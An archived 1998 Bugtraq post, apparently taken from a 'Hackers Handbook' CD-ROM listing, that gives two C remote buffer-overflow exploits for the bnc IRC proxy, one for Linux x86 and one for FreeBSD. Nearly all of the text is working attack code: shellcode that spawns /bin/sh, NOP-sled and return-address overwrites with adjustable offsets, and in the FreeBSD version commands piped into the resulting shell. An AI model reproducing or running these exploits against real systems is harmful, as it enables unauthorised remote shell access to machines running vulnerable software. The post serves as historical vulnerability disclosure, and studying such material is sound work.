home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / c_scripts / vanity.c < prev    next >
Encoding:
C/C++ Source or Header  |  1999-04-11  |  3.0 KB  |  123 lines

  1. Date: Sat, 26 Dec 1998 08:36:04 +0000
  2. From: duke <duke@VIPER.NET.AU>
  3. Reply-To: Bugtraq List <BUGTRAQ@netspace.org>
  4. To: BUGTRAQ@netspace.org
  5. Subject: bnc exploit
  6.  
  7. hi,
  8.  
  9. i wrote a remote overflow for the "bnc" irc proxy a while back.. its
  10. pretty much explained in the comments. This was later ported to bsd by
  11. stranJer, and with his permission i have also included this exploit
  12. below..
  13. merry xmas everyone :)
  14.  
  15. thanks,
  16. duke
  17.  
  18.  
  19. --- vanity.c
  20. /*
  21.  
  22.    bnc remote buffer overflow for linux x86 (w/o stack-non-exec patch)
  23.    by duke (duke@viper.net.au)
  24.    works on versions < 2.4.4
  25.  
  26.   offsets: slackware: 0 redhat: 400->1000
  27.   special thanks to stranJer! :)
  28.  
  29.   greets to everyone (plaguez, horiz0n, dpr, kod, f1ex, sewid, antilove,
  30. tewl, dmess0r, stranJer  , all of #!ADM :)   and everyone at el8.org )
  31.  
  32.  */
  33.  
  34. #include <stdio.h>
  35. #include <string.h>
  36.  
  37. #define RET 0xbffff814
  38. #define BUFSIZE 2000
  39. #define LEN 1000
  40.  
  41.  
  42. char shellcode[] =
  43. "\x33\xdb\x33\xc0\xb0\x29\xcd\x80\x33\xc0\xb0\x29\xcd\x80"
  44. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  45. "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  46. "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  47.  
  48. void
  49. main (int argc, char **argv)
  50. {
  51.   char buf[BUFSIZE];
  52.   int sockfd, i, offset;
  53.   if (argc == 2)
  54.     {
  55.       offset = atoi (argv[1]);
  56.     }
  57.   else
  58.     {
  59.       offset = 0;
  60.     }
  61.   memset (buf, '\x90', BUFSIZE);
  62.   for (i = LEN; i < BUFSIZE - 4; i += 4)
  63.     *(long *) &buf[i] = RET + offset;
  64.   memcpy (buf + (LEN - strlen (shellcode)), shellcode, strlen
  65. (shellcode));
  66.   memcpy (buf, "USER ", 5);
  67.   printf ("%s", buf);
  68. }
  69.  
  70. ----
  71.  
  72. ----obnc_bsd.c by stranJer
  73. /*
  74.    Remote exploit example for bnc (Irc Proxy v2.2.4 by James Seter)
  75.     by duke (duke@viper.net.au)
  76.    32sep98 FreeBSD version by stran9er
  77.  
  78.    Greet to
  79. !@$@$A#%$#@!D%$#@!$#M@%%$@%c$!@$#!r!%$@e@$!#$#%w$@#$@#!!!#@$#$%
  80. */
  81.  
  82. #include <stdio.h>
  83. #include <string.h>
  84. #include <sys/types.h>
  85.  
  86. #define ADDR  0xefbfd907
  87. #define RETPTR      1036
  88. #define BUFSIZE     1041
  89. #define SHELLOFFSET   23
  90.  
  91. char shellcode[] =
  92. /* added by me dup(0);dup(0) */
  93.   "\xEB\x0B\\\x9Axxx\\\x07x\xC3\xEB\x05\xE8\xF9\377\377\377"
  94.   "\x5E\x33\xDb\x89\x5e\xF2\x88\x5e\xF7\x31\xC0\xB0\x29\x53"
  95.   "\xE8\xDE\xFF\xFF\xFF\x33\xC0\xB0\x29\xE8\xD5\xFF\xFF\xFF"
  96. /* generic shellcode */
  97.   "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
  98.   "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
  99.   "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
  100.   "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
  101.  
  102. void main (int argc, char **argv)
  103. {
  104.   char buf[BUFSIZE+5];
  105.   unsigned long int addr = ADDR;
  106.   int i;
  107.  
  108.   if (argc > 1) addr += atoi (argv[1]);
  109.   fprintf (stderr, "Using address: 0x%X\n", addr);
  110.  
  111.   memset (buf, 0x90, BUFSIZE);
  112.   for (i = RETPTR; i < BUFSIZE - 4; i += 4)
  113.     *(long *) &buf[i] = addr;
  114.   memcpy (buf + (RETPTR - sizeof(shellcode)) - SHELLOFFSET,
  115.     shellcode, strlen (shellcode));
  116.   buf[BUFSIZE]=0;
  117.   printf ("%s/usr/bin/uname -a\n/usr/bin/id\n/bin/pwd\n", buf);
  118. }
  119. /* segodna: 23 sentabra 1998 goda */
  120.  
  121. ----
  122.  
  123.